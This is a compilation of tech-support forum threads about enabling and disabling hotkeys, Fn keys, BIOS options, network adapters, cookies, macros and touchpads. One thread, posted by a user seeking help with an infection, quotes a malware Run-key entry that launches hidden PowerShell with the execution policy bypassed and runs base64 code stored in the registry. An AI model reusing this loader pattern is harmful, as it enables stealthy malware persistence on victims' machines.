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Yoga 920 BIOS request for enabling/disabling the hotkey function

Q: Yoga 920 BIOS request for enabling/disabling the hotkey function

Lenovo, it is much appreciated if you can provide an updated BIOS that allows the owner to enable/disable the hotkey function.The advantage is, that the owner can make a clean maiden Windows installation without 3rd party software, or use other operating systems such as Linux that lacks this feature of switching between the hotkey function and standard behavior for F1-F12 keys. Looking forward to this, as it gives me freedom of choice and it also is a key for buying Lenovo products future-wise. Thanks!

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System Specifications:- X1 Yoga (Gen 3) with i7-8650U (vPro) and 16GB RAM- BIOS Version: 1.21- Purchased June 2018 Just last week I enabled the Thunderbolt device support in Pre-Boot environment under BIOS (refer attached image). After saving the settings I was never able to restart the system. There was no display (BIOS splash screen) - just the blank screen with keyboard lights on. Pressing F1 gave me a single beep but screen was just dead black, though I could see the screen's backlight. Dropped the machine to Lenovo service center and they have confirmed that motherboard replacement would be necessary. I am surprised (and sad) that merely changing a BIOS setting renders this premium business laptop non-functional! I am also afraid that if I happen to enable Thunderbolt setting in BIOS again, will this scary issue recur and render my machine useless?Lenovo - Please rectify this bug or remove this setting in BIOS completely. I am afraid that after expiry of base warranty if I happen to enable this setting again, who will pay for motherboard replacement? Is Lenovo planning any recalls because of this widely reported BIOS bug issue?

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System Specifications:- X1 Yoga (Gen 3) with i7-8650U and 16GB RAM- BIOS Version: 1.19- EC Version: 1.08 Hello, exactly one week ago, I changed enabled "Thunderbolt BIOS Assist" in the BIOS to support Linux.  Following this, the system refused to boot to anything but a black screen.  Thus, I sent the machine in for depot repair.  I just received the machine back again today and the same thing occurred after enabling the same setting.  After a long series of calls, I was told that no one is authorized to report BIOS bugs and that I should post here instead.  I sincerely hope this is fixed, as this is a major error that required a motherboard replacement previously and will most likely require one again.  I have started a new ticket for this repair and will be receiving a box tomorrow.  However, I wanted to make sure this is passed along to someone who can fix this error. 

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Hi I've permanently disabled Intel AMT from BIOS but I still can enter the AMT admin interface by pressing CTRL+P.I expected that permanently disabling Intel AMT would disable this.Do I need a replacement mainboard? Thank you

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I find myself never referring to the Windows helper in case I have a problem, like I'm doing now. Microsoft's help is a bit too 'conservative' imo, and thus I'd like to disable it from popping up every time F1 is pressed.

Is there a way to do that ?
Thanks in advance

P.S. searching for anything containing 'F1' is useless since it ignores short terms of the like (it seems to behave so here at least).

A:Is there a way of totally disabling F1 hotkey ?

Hello there. This should help you.
Disable “Windows Help and Support” in Windows 7 | How-To New

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Here's my issue:

I apparently set up my screenshots to take with the hit of s for easy access while playing games. The problem is now everything I hit s, it takes a screenshot. I've spend countless hours searching on the net for a solution so I thought I'd come here to see if someone has had a similar problem. Is there a location I can find where I can edit and or disable all hot key commands? Thank you.

A:Disabling/ editing a hotkey shortcut

Anyone? Help please.

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Hi,I just bought Lenovo U41 (window 10) however, i've facing some problem with the function button. The function button for the laptop is not working at all. can someone help me with this problem, a step by step guides is really appreciated. Thanks 

A:Lenovo U41 Function Button (hotkey)

Welcome to the Lenovo Community !
I'm not an owner of your model, but with some Lenovo laptops Hot Key functionality is added by installing the Lenovo Utility application.  For your model there isn't a Windows 10 version of Lenovo Utility available, but you may wish to try installing the Windows 8.1 version.  If it doesn't install then try re-installing again using Windows Compatibility Mode.  Here is a link to the Windows 8.1 driver....

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Greetings. This morning I installed Windows 7 fresh over the stock Ubuntu 14. I've managed to track and install most of the important drivers. However, the hotkey functions (adjust brightness, volume and the like) are still not working. I'm sure its due to lack of some sort of driver, but I can't figure out what needs to be installed to get them to work. I tried installing Lenovo Support Bridge, but it crashes directly on launching. Installing Lenovo Utlity hasn't been any help either; I'm getting zero indication that it's even there anywhere. I request any readers to lead me into the right direction, if possible. Thanks in advance. Regards.

A:[E41-15] Reenabling hotkey function on Windows 7

Hi friend,
Welcome to Lenovo Community! And happy to have you here.
As I understand that you are not able to use your Hotkeys/Special keys in your E41-35
First I'll suggest you to use Lenovo System Update see whether it can detect some missing drivers or not.
Or else try using this 
Do let us know how it goes.
Please feel free to post in Lenovo Community Forums if you have any further queries!
 Regards,Prabhansh_______________________________________________Tap that Kudos button if I helped.If you find a post helpful and it answers your question, please mark it as an "Accepted Solution"!

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so i downloaded another windows xp copy , but while the setup was on , it said copying files.It came to this file "viamraid.sys" and said could not copy.Press Enter to retry or press ESC to skip.
This is ultimately my end problem. Here is a list of troubleshooting efforts that I have already attempted with no success..

- Swapped the Floppy drive out with another. Niether drives have ever shown signs of trouble.

- Reformatted numerous floppy disks countless times using different types and trying many different drivers.

- Burned the files to a CD and fed the disc in at the error screen. [Yes, they were in the same/proper format as the floppy drives.]

-Skipping the install of the viamraid.sys file and the two others after it. [XP files are copied but when it attempts to restart/install I recieve the blue screen of death.]

-Loaded the defaults for the bios and reconfigured/tweaked them many different ways.Click to expand...

Bfore asking for help here, i did an intensive search on google related to this problem.They said try going in the bios and chaging the settings from raid to non-raid.

Normally whne you have all this raid ********, we need to insert a floppy drive in our hard disk and when windows is setting up we need to press F6 in the beginging so that it can take drivers from the floppy and copy it.But i disable this in the bios section i can skip all these things, and theres 80% chance of bypassing the viamraid.sys.My question is what does raid really... Read more

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I have  to use Freemind software which I understand is a desktop application. However , I have to install Java to use Freemind.
I've read so much about the vulnerability of Java I'm not sure what to do. My OS is Win 7 Pro and I use Firefox 34.0.5 and Google Chrome. I also have IE11 installed but rarely use it.
I would very much appreciate some advice  and guidance. I hope I'm in the right forum with my query!

A:Enabling and disabling Java

You can install it and then under the Java control panel (found under windows control panel once java is installed) you tick the "disable java content in the browser" box (or it might be untick the "enable java content in the browser" box i can't remember which way round the option is described). That way Java will only function as a desktop application for working with programs which you have installed and you will limit any vulnerabilities it causes. Also make sure to go through all your browsers and disable the java plugin juts incase the tick box alone was not enough. And keep Java up to date, you ought to change the settings on it's updater to check daily rather than the weekly or monthly which is set by default.

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Hi! Im jake. Im new here, i would like to give and learn more things about computers.
To start with, we have a dsl connnection, we used dlink router. My question is if it possible to enable or disable connnection in the internet using client pc without using the configuration of the router. just a script, a batch file or a password?

A:Enabling And Disabling Internet

yea, to disable internet access, but keep lan access, change your gateway to you now have lan access but no net access. to disable all lan acess, go to device manager, right click and disable your network adapter.

to change your gateway>>
control panel>network>network connections>right click on the "local area connection">select properties>in the new window, scroll down until you see "internet protocol tcp/ip" then select properties. here is where you select "use the following ip address">then you fill in the blanks appropriately.
need any help with that please post back

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I have re-installed, as a clean install, Win7 Pro 64 SP1, on a Lenovo T40.Every driver on the website had to be downloaded and installed.However, I cannot regain functionality on the 'Fn' blue keys, which turn the brightness /volume etc. up and down.Also windows update seems reluctant to find any updates......Is there a keyboard driver for this model?I had no such problem with my S200 model re-installation. Any help would be appreciated, thanks..

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When I go into my playback devices menu, I am unable to edit the status of any of the devices listed. I can't enable or disable anything.

Any ideas?

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Forgive me if this has been a previous topic here. I did a search but was unable to find anything.

Whenever I jump online, I'm getting a window that asks me if I want to enable or disable "macros."

I recently fired Norton's from my computer and am now using AVG for my virus protection and Ad-Aware for my anti-spyware program.

Suddenly I'm getting these macro alerts.

What are these macros, should you allow or block them, and why is this suddenly an issue for me?

Thanks in advance!

A:Enabling/disabling Macros; What's The Deal Here?

That's strange. Open Microsoft Word and go to Tools -> Macro -> Security and see if the macro level is set to high or medium. Set it to high and see if the warnings disappear.

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Hi all,

I seem to have disabled my cookies, and now one of my regular websites won't let me sign in without them. Can you tell me how to enable my cookies?


A:Solved: Enabling / Disabling Cookies (How To)

Sure! Here's some links and information, depending on which browser you use, and which version it is:

IE 5:
Error Message: Not Accepting Cookies (Q175662)

How to Set and Customize Cookies Settings in Internet Explorer (Q196955)
IE 5.5:
Cannot Open Webpage Because Cookies Are Not Enabled (Q315207)
Web Site Reports That You Must Enable Cookies (Q299331)

How to Manage Cookies in Internet Explorer 6 (Q283185)

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In Netscape 4.x go to Edit > Preferences > Advanced.
Select the box labeled 'Accept All Cookies'.
Click OK.
In Netscape 6.x go to Edit > Preferences > double click Privacy & Security > Cookies
Choose the 'Enable All Cookies' option.
Click OK.

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Hello I'm so frustrated on how this thing would vanished on my computer system. It keeps checked even though I disabled or uncheck it in the msconfig
here's what I am referring to.

Microsoft Operating System Microsoft Corporation C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\FeiSholEpOohbCv').sSqBn))); HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

I try to delete the registry key but I can't delete it.
Going through the Run registry and found it but it keeps coming back.

What should I do.
I scanned my computer already with MBAM, Rogue Killer, Microsoft Windows Defender yet I get no possible virus infection.

Moreover I try to reg query it like this one
reg query "HKCU\Software\Classes\FeiSholEpOohbCv" /v "sSqBn"
and the result is in the attachment
Maybe someone can help me get rid of this virus or what this thing called

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I have a problem when running the vba code for 2 command buttons. Command buttons are log in & log outt. Here i need to disable the log out button while from the sheet/workbook. After i click on log in button only the log out button should enable. I have tried to write the code, but still i am missing something. As i am a starter for this & this is the first time i m trying vba.

And i need to put a msgbox after clicking login button it should state "log in successfully completed" & for log out "successfully logged out".

Please let me know where i have gone wrong on this???

Please see the attached file & help me on this regard.
Thanks in advance..

A:Solved: Need help in enabling/disabling cmdbtns

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Dear Forum,

Recently reactivated this notebook as a backup solution with an nex HD.

Which driver / programm is necessary to bring the hotkey to function?
The display itensity is very low and backwards I was able to control that with this key function.

Thanks a lot for support and hints

A:Satellite S5200-903 Hotkey Function (Fn+F7/F6) Monitor Brightness

For this old notebook models the whole thing works a little bit different as on new models. Now you have one package that contains all necessary stuff for FN functionality.
On old notebooks like your Satellite 5200 you must install several different tools to get this FN functionality, not brightness control only.

So, to make all this easier I recommend you to check Installation instructions for Satellite 5200 and install all missing stuff. Please follow the installation order.

If you still need help let us know.

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I've had this issue before and a simple router reset fixed it last time. Not this time, however, and I have no clue what to do... I'll explain in detail whats going on...

I purchased a WNDR3400v2 probably around two months back and since then I haven't had any issues with it. Now, I like to keep the security setting on WPA2-PSK for the security but my brothers and my own Nintendo DS don't support this security for connecting. So, since my previous router had a guest network, I decided to activate and deactivate that network with no security when it was needed (Half hour or less), and I haven't had any issues until doing this with the WNDR3400v2.

Basically what happens is, after disabling the guest network again, no wireless devices can connect to the router... PERIOD... Upon trying to connect it also says "You are unable to connect) right after it verifies the password. I spent a few hours trying to fix it but I haven't gotten anywhere really..

What I have tried-v
-Resetting the Router
-Powercycling the Router
-Resetting it to factory defaults and restoring previous settings
-Enabling and disabling the network
-Deleting the original network saved on the computers and connecting as if from a new network.
-Also tried restarting my computers
-Updating the firmware (For some odd reason I couldn't find any firmware last week..)
I researched it a bit and found some solid leads, but nothing that fixed the issue. The only "Fix" ... Read more

A:After enabling and disabling guest network nothing will connect.

Why not use WPA-PSK? Most devices support that, and in practice it is just as secure as WPA2.

Sorry, but I have no clue about the cause of your current problem. Suggest that you make sure you have the latest firmware and then reset the router to factory defaults and reconfigure it.

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Hi all,

I finally broke down and decided to make an account as ask for some help. Really trying to get this working normally again.

As stated in the title when I plug in my USB wireless device to my Desktop Tower, the device appears in the task-bar and adapter screen to continuously enable and disable itself. It does not work or scan wireless networks. I was toying with VirtualBox trying to get Linux to recognize the device and such, and something happened along the way that seemed to corrupt this device in Windows. I've since restored my system to before VirtualBox was installed but that didn't fix the issue.

The facts:This happens on any USB port
It's not the device, as it works fine on my other computers
It's not the USB ports, since my other wireless USB mini stick works on them
I've tried uninstalling the driver and deleting it and restarting - does not work
Interestingly, when I disable the WLAN AutoConfig service, the issue does not happen, it appears this begins to happen once the device is invoked for something - such as detecting wireless networks
While the issue is happening if I try to manually enable the adapter during this cycle, or if I right click the USB taskbar icon and try to disconnect it - I will get a BSOD

Any ideas? There seems to be something in Windows, some registry setting or something that's causing this behavior. Is there a way to make the system forget this device ever existed in every regard? Again, it works on my other Windows 7 mac... Read more

A:My Alfa AWUS036H USB Device Keeps Enabling and Disabling


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Hi everyone. I no longer have internet access from my home network ONLY on my desktop computer. Everything was working fine as always - then while I was in my Network and Sharing Center, and clicked on my ethernet connection, 'Local Area Connection 3', I accidentally disabled it. No big deal I thought, so I re-enabled the connection. Except for some reason, my connection is all screwed up now. The name of this connection was and always has been 'dkm2' and now it just says 'Network', with no internet access. I have unplugged the cord and plugged it into this laptop and it immediately recognizes 'dkm2' and connects flawlessly, so I know the problem is on the desktop computer's end, and not the cable or router. I have tried reinstalling the ethernet adapter, as well as reinstalling/updating all drivers for it. The network diagnostic tool turns up with a message that says the connection between either my ethernet adapter or router and the Internet is broken. No matter what I seem to try, I can't get my connection to go back to it's normal 'dkm2' connection and stop giving me a generic, disconnected 'Network'. I can't figure out what could have changed. All that happened was the disabling and enabling of Local Area Connection 3. Any help is appreciated. Thank you.

A:After disabling/enabling connection, internet lost! HELP!!

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I just recently swapped my old HDD with brand new SSD and did a clean instal of Win 7 home preamium 64 bit. After I downloaded synaptics v17.0.19 (appears as Synaptics PS/2 Port TouchPad in Device manager) straight from Synaptics homepage, I noticed that that most of the gestures work, BUT the orange LED that indicates a disabled touchpad, is glowing when the touchpad is actually on. I disabled the touchpad from settings and the LED turned off. The double tapping in the upper left corner does not work either. In Mouse properties -> device settings -> Synaptics LuxPad V7.5 settings -> Tapping I can only configure tap zones in each corner of the touchpad, but not enable the upper left side double tapping which should disable/enable the touchpad. Does anyone have any idea why is the LED on in vice versa situations and why doesn't the double tapping trick work?  I have tried uninstalling the driver, but no luck. 

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Is there any that we can disable video and listen only audio from live TV channels?

Thank you for your time.

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Hello all, my computer got a BSOD from this error. I was using the Intel Turbo boost Max 3.0 program before it happened. All i did was try to Enable/Disable the Turbo boost , and then the BSOD happened. Does anyone have any idea what this error means? Have i encountered a bug?

? OS - Windows 10
? x64
? What was original installed OS on system? - Windows 10
? Is the OS an OEM version (came pre-installed on system) or full retail version (YOU purchased it from retailer)? - Retail
? Age of system (hardware) - 5 months
? Age of OS installation - 5 months

? CPU - i7 6850k
? Video Card - EVGA GTX 1080
? MotherBoard - Gigabyte GA-X99 Ultra gaming
? Power Supply - EVGA 850G3

? System Manufacturer - custom build

A:BSOD while Enabling/Disabling Intel turbo boost


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Can some one help me get started with this project? I need to make a program that will run in the System tray that can enable or disable hardware, actualy just one particular piece of hardware. I am only dealing with Windows 2000 here so I don't have to worry about multiple operating systems.

I think I can get the system tray part figured out from various VB tutorials but I don't know where to begin when dealing with the hardware. Any ideas?

A:Enabling/Disabling Hardware in Win2000 with Visual Basic?

Some one from another board showed me this solution using the Send Keys and it works great.

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "devmgmt.msc"
While WshShell.AppActivate("Device Manager") = False
WshShell.AppActivate "Device Manager"
WshShell.SendKeys "{Tab}"
WshShell.SendKeys "Ports"
WshShell.SendKeys "{Right}"
WshShell.SendKeys "{Down}"
WshShell.SendKeys "{Down}"
WshShell.SendKeys "+{F10}"
WshShell.SendKeys "D"
WshShell.SendKeys "%Y"
WshShell.SendKeys "%{F4}"

[Edited by Talismanic on 05-30-2001 at 03:16 PM]

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Bought a quality Bluetooth adapter on Amazon that is plug n play. I will utilize this bluetooth adapter from my PC to Soundbar to stream music and movies. However, the process to transition from Headset to Soundbar is tedious, but there has to be an easier way?

I currently game with my Wireless Astro A50 headset. When streaming music, I prefer to use my Samsung Soundbar equipped to my TV. Is there a program or something that I can easily enable my Soundbar with the Bluetooth besides the process below?

Process: After I turn on discover mode on Soundbar, I need to search for "Bluetooth" on PC to open up Bluetooth Settings. My Soundbar is listed as "Paired". However, it really isnt. So i need to "Remove Device", wait for 15-25 seconds for my Soundbar to be discovered again. After pairing it again, its finally connected. But then I'll still need to switch the Playback Device via Sound Settings.

(One thing i miss about my Mac, it was very easy to enable bluetooth devices on the fly.

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Hi guys,
I am having some troubles trying to use my laptop wireless device, because every time I try to connect to my home connection it last no more than 10 minutes and after that it shows LIMITED ACCESS on my connection icon.
Im not very good at computers so the only thing I can do is DISABLE or ENABLE my wireless adapter that results either on a BSOD or a long time screen freeze. By the restart the device is disabled and when I start it the problem starts over and over again.

Can someone enlight me or give me a solution to my problem please, ill be very grateful.

I added the diagnostic tool results to this thread so you can give me a more accurate reply.

THERE IS A 3,5 GB MINIDUMP FILE, you need it? how can I put the results here?

A:BSOD while enabling/disabling wireless device NETwNs64.sys

Welcome to the forums francocb,

BugCheck 1000007E, {ffffffffc0000005, fffff880052857c9, fffff880023b7918, fffff880023b7170}

Probably caused by : NETwNs64.sys ( NETwNs64+147c9 )

Usual causes: Insufficient disk space, Device driver, Video card, BIOS, Breakpoint with no debugger attached, Hardware incompatibility, Faulty system service, Memory, 3rd party remote control

2: kd> lmvm NETwNs64
start end module name
fffff880`05271000 fffff880`05af3000 NETwNs64 T (no symbols)
Loaded symbol image file: NETwNs64.sys
Image path: \SystemRoot\system32\DRIVERS\NETwNs64.sys
Image name: NETwNs64.sys
Timestamp: Sun May 01 22:33:01 2011 (4DBDD18D)
CheckSum: 0083E505
ImageSize: 00882000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Your Intel(R) Wireless WiFi Link 5000 Series Adapter driver seems to be causing problems, please update it from here - https://downloadcenter.intel.com/Default.aspx

EXCEPTION_RECORD: fffff880023b7918 -- (.exr 0xfffff880023b7918)
ExceptionAddress: fffff880052857c9 (NETwNs64+0x00000000000147c9)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000000000038
Attempt to read from address 0000000000000038

CONTEXT: fffff880023b7170 -- (.cxr 0xfffff880023b7170)
rax=fffff88001942110 rbx=0000000000000000 rcx=fffff... Read more

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Friends I have a Gateway NV52L15U amd a8-based 15" laptop with win 8.
it works pretty well except for a few things that I suspect are related, and I suspect all three are due to how 8 is managing the drivers of the devices
- Network performance, in terms of starting up, latching the WIFI AP successfully, and getting online, is unreliable. oddly, it seems that it does not like disabling the Ethernet [CAT5] device, leaving the WIFI enabled. If I leave both enabled, wifi performance seems more stable [gaining and holding the connection]

- When I disable the CAT5 connection using the windows 8 adapter settings pane, the utility will hang, but not consistently. sometimes it hangs until it is forced to stop via taskmanager or restart, but not always. sometimes it merely takes a VERY long time - showing the hated hourglass while it takes as long as 7-8 minutes.

- Shutdowns and/or restarts can take an extremely long time. However, it seems again that if both network adapters are enabled [builtin wifi and builtin Ethernet] the reboot or shutdown seems to go a bit more normally.

- Sometimes the WIFI will not actually connect, as evidenced by IE and/or Chrome being unable to access the network. if I check windows using the taskbar widget, it will show the system "Connected to .." the AP and having "Internet Access". That little utility is mis-reporting. When I DISABLE the WIFI adapter via control panel util, the little taskbar widget may, or may not, still... Read more

A:Win8 not managing well enabling/disabling network adapters

Hi cognus,

You seem pretty well versed in troubleshooting so I doubt that I can help you; however, I will make the following statements based on my experience with Windows 8 and this experience comes from using a desktop and Laptop on a daily basis:

Win 8 is the fastest starting OS I've ever used - 6 second boot to desktop
Win 8 has the fastest shutdown times I've ever experienced - desktop about 1-2 seconds, laptop about 3-5 seconds
My laptop has no wifi connectivity issues under Win 8 - in fact, I could almost swear that it is running faster than Win 7

Now, if I were you, and I were starting to troubleshoot this issue, I would be focusing on the connectivity to the router, the protocols being used by your desktop and laptop, and the capabilities of the router. So, is the router Win 8 Ready. Can it handle both IPV4 and IPV6? The reason I'm focusing my attention in that area is because I had an old router when I first installed Win 8 and my connection speeds seemed to be suffering a bit; however, once I upgraded my router to one with 10/100/1000 ports that was IPV4 and IPV6 capable (eg Win 8 ready), everything improved immensely. Please understand that I am just generalizing here so take the information for what it might be worth. Good luck.

Oh, one more thing. Did you do a clean install of Win 8? If so, what partition structure did you end up with? 350MB system reserved + the rest to C: (for a legacy install)? If not, and you somehow did a Win 8 install, using the origin... Read more

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Hello all, my computer got a BSOD from this error. I was using the Intel Turbo boost Max 3.0 program before it happened. All i did was try to Enable/Disable the Turbo boost , and then the BSOD happened. Does anyone have any idea what this error means? Have i encountered a bug?

? OS - Windows 10
? x64
? What was original installed OS on system? - Windows 10
? Is the OS an OEM version (came pre-installed on system) or full retail version (YOU purchased it from retailer)? - Retail
? Age of system (hardware) - 5 months
? Age of OS installation - 5 months

? CPU - i7 6850k
? Video Card - EVGA GTX 1080
? MotherBoard - Gigabyte GA-X99 Ultra gaming
? Power Supply - EVGA 850G3

? System Manufacturer - custom build

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Hi guys

I bought my computer 2 years ago and i always use to have the ACC function enabled(using all 4 cores instead of 2). Two weeks ago i noticed the ACC function got disabled and i restarted the PC to enable it and after that i started getting random BSODs.

At first i thought it was a memory problem because i ran Memtest which showed around to 6000 errors but after resetting the bios settings to default and fixing the RAM timings, i did a Memtest again without getting any errors.

After making sure that it wasn't a memory problem i enabled the ACC function again only to start getting BSODs again. Another thing i want to mention is that if the ACC function is enabled i have 20% chance of booting successfully to windows. Most of the time it asks me to do a start up repair only to get a BSOD while performing the repair or getting a BSOD before the repair starts.

System Specs:
Windows 7 64 bit
AMD Phenom(tm) II X4 555 Processor
Western Digital Caviar Black WD6401AALS 640GB 7200 RPM 32MB Cache SATA 3.0Gb/s (x2)

Things that i didn't try:
1) Clean install of windows. I'm not sure if that will fix the problem because as i said i can't even get to windows without crashing.

2) BIOS update. I'm not really sure if i should try that because i heard that some BIOS updates could cause some problems instead of fixing others.

My current BIOS update is 0506
The most recent is 2105

One more thing that i tr... Read more

A:BSODs after enabling ACC function

Please let us know how you solved the problem so others having the same problem may benefit.

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I am having problems with an error key stating that my TPM is either disabled or not functioning properly. How do I fix this?


A:Enabling or restroing function to TPM

Take a look at here: http://support.microsoft.com/kb/950330 . Maybe helps. I searched on Dell website too if you have a Dell system, flash your BIOS.

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Hello what is the Keyboard Key sequence (ie FN+F3 or whatever)  for Disabling and enabling the touchpad please on the Dell inspiron 14 series 3000 (3451) ?

A:Enabling & Disabling Touchpad on a Dell Inspiron 14 3451 using keyboard key?

Hi Andyr123,
To enabled and disable the touchpad on Dell Inspiron 3451, press <Fn> + <F5> simultaneously.
Hope this helps.

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I know how to enable/disable a firewall through command line. But how do I do the same for Files and Printer sharing on a network connection through cmd. This is for an xp workstation(s).

Thank you for your help.

A:Disabling/Enabling 'File and Printer Sharing' on a Network Connection through cmd


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I have a set of computers that need to enable IE printing but nothing else in the file menu. I thought we could keep the entire file menu disabled and enable the print button but it forces the file menu to appear when we have it disabled.

I've tried enabling the file menu and disabling all the options given in the IE/toolbar GPO section but i still get the full menu poping up. Was trying to get it so only the print options appear. I'm using windows server 2k3.

Has anyone else experienced this or know of a work around? Thanks for the help.

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Could someone look at my Hijack This log and tell me what in the heck is
causing my autocomplete boxes to be rechecked after they have been
disabled?Nothing I run seems to find the problem.Every once in a while my mouse slows down and seems to be stuck in molasses.Any help would be
greatly appreciated!!!!
THANKS jayogfile of HijackThis v1.97.7
Scan saved at 9:37:58 AM, on 4/28/04
Platform: Windows 98 SE (Win9x 4.10.2222A)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,SearchURL = C:\WINDOWS\system32\searchbar.html
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A:spyware enabling autocomplete function help!!!

go to this site and download these tools and once you get both
adaware and spybot, update both of them.Set adaware to deep scan and
Delete everything adaware finds and delete what spybot finds marked in red.

spybot search and destroy
run the first three, but with cwshredder, close all programs
and browsers and click the fix button.

then do a hijack this log, click save the log and post it on
here so we can have a look at it for ya.

All programmes can be downloaded here at this link!


cwshredder can be got here



to stop reinfection get these two tools, spywareguard and spywareblaster from


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My computer, Gateway M7350u, OS Windows7 SP1, does not have a Fn key to turn off the Touchpad. When I go to Device>Mouse I see two devices. Apparently the pad is controlled by the PS/2 Compatible Mouse driver. Under Properties>Driver for this device the DISABLE function is grayed out. Weird, because the driver for the HID-compliant mouse driver (which I do use) can be disabled. QUESTION: how can I enable the Disable function for the PS/2 driver? --->(Uninstalling is no solution because Windows insists on automatically reinstalling the driver!)

A:[SOLVED] Enabling DISABLE function

Disabling the trackpad will mean you won't be able to use it and will require a USB keyboard to login etc.
If this is what you want boot into Setup (Bios) go to Integrated Peripherals look for TrackPad or some such and using your Arrow and Enter key Disable it.

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I followed the tutorials here and tried editing the power settings as admin but I'm feeling that I may be missing some options?

I got the same issue here: The words "Change settings that are currently unavailable" are - Microsoft Community

I don't see the change "Change settings that are currently unavailable"

I've tried: Hibernate - Enable or Disable

What I want is an extra button next to shut down.

A:I tried enabling hibernate function but no luck

I think hibernate is turned on by default.

Did you ever deliberately turn it off?

Is this the tutorial you followed?

Hibernate - Enable or Disable

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Anyone know how to activate the Function Keys in Netscape 7?

I'd like to assign URL's to them for common websites i visit.


A:Enabling Netscape Navigator Function Keys

You mean the shortcut keys?

Click on help, help and support center or F1.
On the left go to the index and look under K for keyboard shortcuts.
Your see a big list of Netscape Keyboard Shortcuts

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I have a problem with my Hotkey F11 and F12.Somehow it isn't possible anymore to control the brightness of my display. What I tried: 1. Disabled all automatic control brightness functions in the Lenovo settings -> no success2. Changed brightness manually via the Lenovo settings page -> no success3. Disabled the Hotkey Mode in BIOS -> no success4. Updated BIOS -> no success5. Updated Grafics driver from the Lenovo download page -> no success Does somebody know what I can do as well? Thanks in advance   

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How do i disable my FN function?  I want the F keys to work without having to use the FN key at the same time.  Everything i have researched said i had to disable it through the BIOS screen but I cannot get that to come upon this laptop.

stacie kidd

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A:Disabling FN function

Hi, As you mention, the option to toggle the fn key setting should be in the bios menu - if you're having problems accessing this, try the following. Shutdown the notebook.  Tap away at the esc key as soon as you press the power button to enter the Start-up Menu.  If this works Ok, select the Bios option ( f10 ), then make the change shown in the document on the following link. http://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c02035108&DocLang=en&docLocale=en_US&... Regards, DP-K

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My F4 Mic key stopped working on August 30th seems to be the update below t 30th 

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Hey everyone, I have one or really two issues, but they may be connected. I bought the Yoga 900 3 months ago and yesterday I found out that the hotkey for disabling the touchpad worked only oneway meaning I pressed it and the touchpad would disable but I couldn't unlock it again no matter how often I pressed the key again (in combination with fn and also without). I needed to go to standby and then log in again for it to be re-enabled. I updated a hotkey driver, and afterwards when I disabled the touchpad with the hotkey it did still not work. So I went into standby and the whole laptop did not react to me pressing the standby/on switch on the right side for like 5 min. It just stayed off with a black screen. After a while it rebooted completely. Ever since then everything works fine except that the hotkey/f6 doesn't do anything now, not even disabling the touchpad. Can anyone help?

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I use FrameMaker a lot. In FM the key combination ctrl-alt-tab moves the cursor one cell down in a table. Very convenient when I want to change many cells in a column. Windows 7 has "hi-jacked" that key combination so instead of moving in my table I get a view of all the open programs and files on my computer. As there are several other ways to show this (alt-tab gives the exact same result) I am wondering if I somehow can turn off that function in Windows 7. As I have worked with FrameMaker for 12 years, it's in my fingers and I get very irritated when the result isn't what I wanted. OK, I can manually move down in my table by using the mouse or click esc-t-m-d, but it's so much more time consuming!


A:Disabling ctrl-alt-tab function

Quote: Originally Posted by zitalena

I use FrameMaker a lot. In FM the key combination ctrl-alt-tab moves the cursor one cell down in a table. Very convenient when I want to change many cells in a column. Windows 7 has "hi-jacked" that key combination so instead of moving in my table I get a view of all the open programs and files on my computer. As there are several other ways to show this (alt-tab gives the exact same result) I am wondering if I somehow can turn off that function in Windows 7. As I have worked with FrameMaker for 12 years, it's in my fingers and I get very irritated when the result isn't what I wanted. OK, I can manually move down in my table by using the mouse or click esc-t-m-d, but it's so much more time consuming!


Hi Lena and welcome

One way you could is to get one of the third party key mapping applications.

Good luct

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Good afternoon,

I have had a request from my boss. Is there a way to disable the "delete"" function on the workstation and or servers to help avoid accidental or on purpose deletion of files and folders.

Basically all delete options to be removed..

many thanks in advance

A:disabling the delete function

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Basics : BSOD occasionally

Cause : Possibly due to Windows Performance being change by TuneUpUtilities 2012 (Do not recommend this program in Windows7 with SSD drives and USB security software dongles). SSD Drive which I have had installed for a while and clean install back in August.

OD occasionally when running dual monitor with VLCplayer on the secondary and a master program (sometimes a game) on the master. Never been an issue in the past. This maybe a rogue non related issue and just the gfx card going down.

Appears when running VLCplayer and on some occasions firefox/chrome (TVCatchup - Never Miss A Show Again) which is adobe flash plugin based.

No new hardware added.
Antivirus = EsetNod current license (since April 2011) not sure why it's not recognised by Windows7 oin the diagnostics but is actively running.

OK to stay on OP. Has anyone got a reliable registry script I can import to quickly resolve the Windows Features on or off issue please?

Files attached below. Will try and catch the oxe error number (keep missing it/forgetting to make a note).

Thanks for any help.


System Manufacturer/Model Number
Windows 7 Ultimate x64
i7920 2.66ghz
12gb Triple DDr1066mhz
Graphics Card(s)
ATI HD4870
Sound Card
RME Fireface 800
Monitor(s) Displays
Samsung 22" / Samsung172w
Screen Resolution
1650x1080 / 1280x768
Hard Drives
OCX SSD Vertex2 120gb
Maxtor Raptor 150gb
WD 1tb 64
WD 640gb

Silent 650w

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A:BSOD +Search Function lost +Outlook crashing +services not enabling

Hi Mark,

I've had a quick read, and I suspect all 3 of your threads are related (the fact that there appears to be missing services sounds particularely serious given that an sfc /scannow doesn't appear to fix the issue). To me, it sounds like a significant issue with your underlying system - the various tuneup utilities have either contributed or complicated the issue even further. These utilities are by and large completely redundant in Windows 7 and it is extremely rare that anyone will recommend them now.

Unfortunately, these are well beyond my capabilities, but I think I can find someone that is able to help you. Whilst we wait for someone, can you please run this tool, and then post the results in your next reply:


Also, can you see whether you have any .dmp files in C:\Windows\Minidump? If so, then please also attach the latest .dmp file here as this is usually the first file a BSOD analyst will look at.


*** EDIT : I have requested a more experienced eye to look at this ***

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Hello all,
I posted this in Microsoft Answers, but I'm not convinced the "Support Engineers" there all know what they are talking about...

The story: My university has their computers set up with multiple input languages, none of which I use. Moreover, NetBeans (which I use frequently) uses the CTRL+Space shortcut for code completion, so I'd like to be able to use it without switching my keyboard to Chinese.

